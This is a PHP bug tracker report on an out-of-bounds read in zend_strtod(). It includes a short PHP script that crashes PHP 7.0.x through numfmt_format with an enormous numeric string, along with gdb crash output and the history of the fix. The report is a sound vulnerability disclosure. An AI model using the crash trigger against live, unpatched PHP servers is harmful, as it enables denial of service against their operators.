php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Bug #73382 Invalid memory access in zend_strtod() function
Submitted: 2016-10-24 16:01 UTC Modified: 2017-02-13 01:00 UTC
From: nguyenluan dot vnn at gmail dot com Assigned: stas (profile)
Status: Closed Package: Unknown/Other Function
PHP Version: 7.0.13 OS:
Private report: No CVE-ID: None
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: nguyenluan dot vnn at gmail dot com
New email:
PHP Version: OS:

 

 [2016-10-24 16:01 UTC] nguyenluan dot vnn at gmail dot com
Description:
------------
In zend_strtod() defines "tens" as:

tens[] = {
		1e0, 1e1, 1e2, 1e3, 1e4, 1e5, 1e6, 1e7, 1e8, 1e9,
		1e10, 1e11, 1e12, 1e13, 1e14, 1e15, 1e16, 1e17, 1e18, 1e19,
		1e20, 1e21, 1e22
#ifdef VAX
		, 1e23, 1e24
#endif
		};

Then in line 2811, an access using index variable i:
    
    dval(&rv) *= tens[i];  // (1) invalid access here

If the input number is too long that make i larger enough then there will be an invalid access to "tens" array and causes PHP 7 to crash. Please refer to the test script and GDB output.

Test script:
---------------
<?php
    ini_set('memory_limit', -1);
    
    $str = '1.'.str_repeat('1', 0x8fffffff);
    $fmt = numfmt_create("de_DE", NumberFormatter::DECIMAL);
    
    $str1 = numfmt_format($fmt, $str);
?>

Expected result:
----------------
No crash.

Actual result:
--------------
gdb-peda$ r ../test/string/test.php 
Starting program: /home/user/Desktop/php-7.0.12/sapi/cli/php ../test/string/test.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

 [----------------------------------registers-----------------------------------]
RAX: 0x7000000f 
RBX: 0x0 
RCX: 0x7fffebc141b0 --> 0x7ffecb400000 --> 0x600000002 
RDX: 0xc71c71c6 
RSI: 0x7fffffffa578 --> 0x7ffecb400019 (".", '1' <repeats 199 times>...)
RDI: 0x7ffecb400018 ("1.", '1' <repeats 198 times>...)
RBP: 0x7fffffffa520 --> 0x7fffffffa5a0 --> 0x7fffffffa5e0 --> 0x7fffffffa620 --> 0x7fffffffa670 --> 0x7fffffffa740 (--> ...)
RSP: 0x7fffffffa3d0 --> 0x7fffffffa578 --> 0x7ffecb400019 (".", '1' <repeats 199 times>...)
RIP: 0xaaa145 (<zend_strtod+2456>:	movsd  xmm1,QWORD PTR [rbp-0x20])
R8 : 0x1 
R9 : 0x0 
R10: 0x2 
R11: 0x7ffff3a1a548 --> 0xfff1ddc8fff1ddb8 
R12: 0x447580 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1a0 --> 0x2 
R14: 0x7fffebc14030 --> 0x7fffebc82240 --> 0xad8472 (<ZEND_DO_ICALL_SPEC_HANDLER>:	push   rbp)
R15: 0x7fffebc82240 --> 0xad8472 (<ZEND_DO_ICALL_SPEC_HANDLER>:	push   rbp)
EFLAGS: 0x293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xaaa133 <zend_strtod+2438>:	jl     0xaaa1d8 <zend_strtod+2603>
   0xaaa139 <zend_strtod+2444>:	mov    eax,DWORD PTR [rbp-0x108]
   0xaaa13f <zend_strtod+2450>:	sub    DWORD PTR [rbp-0x114],eax
=> 0xaaa145 <zend_strtod+2456>:	movsd  xmm1,QWORD PTR [rbp-0x20]
   0xaaa14a <zend_strtod+2461>:	mov    eax,DWORD PTR [rbp-0x108]
   0xaaa150 <zend_strtod+2467>:	cdqe   
   0xaaa152 <zend_strtod+2469>:	lea    rdx,[rax*8+0x0]
   0xaaa15a <zend_strtod+2477>:	
    lea    rax,[rip+0x6553bf]        # 0x10ff520 <tens>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa3d0 --> 0x7fffffffa578 --> 0x7ffecb400019 (".", '1' <repeats 199 times>...)
0008| 0x7fffffffa3d8 --> 0x7ffecb400018 ("1.", '1' <repeats 198 times>...)
0016| 0x7fffffffa3e0 --> 0x16a1188 --> 0x7ffff4649c80 --> 0x7ffff43619d0 (<_ZN6icu_5513UnicodeStringD2Ev>:	)
0024| 0x7fffffffa3e8 --> 0x7fffffffa6b8 --> 0x7fffebc141a0 --> 0x7fffebc6c170 --> 0x800000002 
0032| 0x7fffffffa3f0 --> 0x15e8990 --> 0x7fffffffd901 --> 0xc000000000016973 
0040| 0x7fffffffa3f8 --> 0x16a11b0 --> 0x7ffff4649378 --> 0x7ffff43538e0 (<_ZN6icu_556LocaleD2Ev>:	)
0048| 0x7fffffffa400 --> 0x169bea0 --> 0x7ffff4aa7b18 --> 0x7ffff472ce80 (<_ZN6icu_5520DecimalFormatSymbolsD2Ev>:	)
0056| 0x7fffffffa408 --> 0xfffffff200000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 2, zend_strtod (
    s00=0x7ffecb400018 "1.", '1' <repeats 198 times>..., se=0x7fffffffa578)
    at /home/user/Desktop/php-7.0.12/Zend/zend_strtod.c:2811
2811					dval(&rv) *= tens[i];

gdb-peda$ p i
$17 = 0x7000000f

gdb-peda$ p tens[i]
Cannot access memory at address 0x3810ff598  // (2) invalid access

gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.

 [----------------------------------registers-----------------------------------]
RAX: 0x10ff520 --> 0x3ff0000000000000 
RBX: 0x0 
RCX: 0x7fffebc141b0 --> 0x7ffecb400000 --> 0x600000002 
RDX: 0x380000078 
RSI: 0x7fffffffa578 --> 0x7ffecb400019 (".", '1' <repeats 199 times>...)
RDI: 0x7ffecb400018 ("1.", '1' <repeats 198 times>...)
RBP: 0x7fffffffa520 --> 0x7fffffffa5a0 --> 0x7fffffffa5e0 --> 0x7fffffffa620 --> 0x7fffffffa670 --> 0x7fffffffa740 (--> ...)
RSP: 0x7fffffffa3d0 --> 0x7fffffffa578 --> 0x7ffecb400019 (".", '1' <repeats 199 times>...)
RIP: 0xaaa161 (<zend_strtod+2484>:	movsd  xmm0,QWORD PTR [rdx+rax*1])
R8 : 0x1 
R9 : 0x0 
R10: 0x2 
R11: 0x7ffff3a1a548 --> 0xfff1ddc8fff1ddb8 
R12: 0x447580 (<_start>:	xor    ebp,ebp)
R13: 0x7fffffffe1a0 --> 0x2 
R14: 0x7fffebc14030 --> 0x7fffebc82240 --> 0xad8472 (<ZEND_DO_ICALL_SPEC_HANDLER>:	push   rbp)
R15: 0x7fffebc82240 --> 0xad8472 (<ZEND_DO_ICALL_SPEC_HANDLER>:	push   rbp)
EFLAGS: 0x10293 (CARRY parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xaaa150 <zend_strtod+2467>:	cdqe   
   0xaaa152 <zend_strtod+2469>:	lea    rdx,[rax*8+0x0]
   0xaaa15a <zend_strtod+2477>:	
    lea    rax,[rip+0x6553bf]        # 0x10ff520 <tens>
=> 0xaaa161 <zend_strtod+2484>:	movsd  xmm0,QWORD PTR [rdx+rax*1]
   0xaaa166 <zend_strtod+2489>:	mulsd  xmm0,xmm1
   0xaaa16a <zend_strtod+2493>:	movsd  QWORD PTR [rbp-0x20],xmm0
   0xaaa16f <zend_strtod+2498>:	movsd  xmm1,QWORD PTR [rbp-0x20]
   0xaaa174 <zend_strtod+2503>:	mov    eax,DWORD PTR [rbp-0x114]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffa3d0 --> 0x7fffffffa578 --> 0x7ffecb400019 (".", '1' <repeats 199 times>...)
0008| 0x7fffffffa3d8 --> 0x7ffecb400018 ("1.", '1' <repeats 198 times>...)
0016| 0x7fffffffa3e0 --> 0x16a1188 --> 0x7ffff4649c80 --> 0x7ffff43619d0 (<_ZN6icu_5513UnicodeStringD2Ev>:	)
0024| 0x7fffffffa3e8 --> 0x7fffffffa6b8 --> 0x7fffebc141a0 --> 0x7fffebc6c170 --> 0x800000002 
0032| 0x7fffffffa3f0 --> 0x15e8990 --> 0x7fffffffd901 --> 0xc000000000016973 
0040| 0x7fffffffa3f8 --> 0x16a11b0 --> 0x7ffff4649378 --> 0x7ffff43538e0 (<_ZN6icu_556LocaleD2Ev>:	)
0048| 0x7fffffffa400 --> 0x169bea0 --> 0x7ffff4aa7b18 --> 0x7ffff472ce80 (<_ZN6icu_5520DecimalFormatSymbolsD2Ev>:	)
0056| 0x7fffffffa408 --> 0xfffffff200000000 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000aaa161 in zend_strtod (
    s00=0x7ffecb400018 "1.", '1' <repeats 198 times>..., se=0x7fffffffa578)
    at /home/user/Desktop/php-7.0.12/Zend/zend_strtod.c:2811
2811					dval(&rv) *= tens[i];

gdb-peda$ bt
#0  0x0000000000aaa161 in zend_strtod (
    s00=0x7ffecb400018 "1.", '1' <repeats 198 times>..., se=0x7fffffffa578)
    at /home/user/Desktop/php-7.0.12/Zend/zend_strtod.c:2811
#1  0x0000000000a739b6 in _is_numeric_string_ex (
    str=0x7ffecb400018 "1.", '1' <repeats 198 times>..., length=0x90000001, 
    lval=0x7fffebc141b0, dval=0x7fffebc141b0, allow_errors=0x1, oflow_info=0x0)
    at /home/user/Desktop/php-7.0.12/Zend/zend_operators.c:2831
#2  0x0000000000a66b07 in is_numeric_string_ex (
    str=0x7ffecb400018 "1.", '1' <repeats 198 times>..., length=0x90000001, 
    lval=0x7fffebc141b0, dval=0x7fffebc141b0, allow_errors=0x1, oflow_info=0x0)
    at /home/user/Desktop/php-7.0.12/Zend/zend_operators.h:135
#3  0x0000000000a66b49 in is_numeric_string (
    str=0x7ffecb400018 "1.", '1' <repeats 198 times>..., length=0x90000001, 
    lval=0x7fffebc141b0, dval=0x7fffebc141b0, allow_errors=0x1)
    at /home/user/Desktop/php-7.0.12/Zend/zend_operators.h:139
#4  0x0000000000a67120 in convert_scalar_to_number (op=0x7fffebc141b0)
    at /home/user/Desktop/php-7.0.12/Zend/zend_operators.c:162
#5  0x00000000006eaab3 in zif_numfmt_format (execute_data=0x7fffebc14140, 
    return_value=0x7fffebc14120)
    at /home/user/Desktop/php-7.0.12/ext/intl/formatter/formatter_format.c:57
#6  0x0000000000ad8506 in ZEND_DO_ICALL_SPEC_HANDLER ()
    at /home/user/Desktop/php-7.0.12/Zend/zend_vm_execute.h:586
#7  0x0000000000ad7f32 in execute_ex (ex=0x7fffebc14030)
    at /home/user/Desktop/php-7.0.12/Zend/zend_vm_execute.h:414
#8  0x0000000000ad8043 in zend_execute (op_array=0x7fffebc81000, 
    return_value=0x0)
    at /home/user/Desktop/php-7.0.12/Zend/zend_vm_execute.h:458
#9  0x0000000000a78cfc in zend_execute_scripts (type=0x8, retval=0x0, 
    file_count=0x3) at /home/user/Desktop/php-7.0.12/Zend/zend.c:1427
#10 0x00000000009e11d5 in php_execute_script (primary_file=0x7fffffffce20)
    at /home/user/Desktop/php-7.0.12/main/main.c:2494
#11 0x0000000000b412f8 in do_cli (argc=0x2, argv=0x14a6630)
    at /home/user/Desktop/php-7.0.12/sapi/cli/php_cli.c:974
#12 0x0000000000b424c6 in main (argc=0x2, argv=0x14a6630)
    at /home/user/Desktop/php-7.0.12/sapi/cli/php_cli.c:1344
#13 0x00007ffff38b3830 in __libc_start_main (main=0xb41cbb <main>, argc=0x2, 
    argv=0x7fffffffe1a8, init=<optimized out>, fini=<optimized out>, 
    rtld_fini=<optimized out>, stack_end=0x7fffffffe198)
    at ../csu/libc-start.c:291
#14 0x00000000004475a9 in _start ()


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2016-11-05 21:49 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2016-11-05 21:49 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2016-11-11 12:48 UTC] nguyenluan dot vnn at gmail dot com
-Status: Closed +Status: Assigned -PHP Version: 7.0.12 +PHP Version: 7.0.13
 [2016-11-11 12:48 UTC] nguyenluan dot vnn at gmail dot com
It still crashes in version 7.0.13. Please check again.
 [2016-11-11 12:48 UTC] nguyenluan dot vnn at gmail dot com
-Status: Assigned +Status: Open
 [2016-11-11 12:48 UTC] nguyenluan dot vnn at gmail dot com
Open again.
 [2016-11-14 11:47 UTC] nguyenluan dot vnn at gmail dot com
-Status: Open +Status: Closed
 [2016-11-14 11:47 UTC] nguyenluan dot vnn at gmail dot com
Fixed in PHP 7.1.0 RC6. Please close.

Thanks.
 [2017-02-13 01:00 UTC] stas@php.net
-Type: Security +Type: Bug
 
PHP Copyright © 2001-2024 The PHP Group
All rights reserved.
Last updated: Sat Dec 21 16:01:28 2024 UTC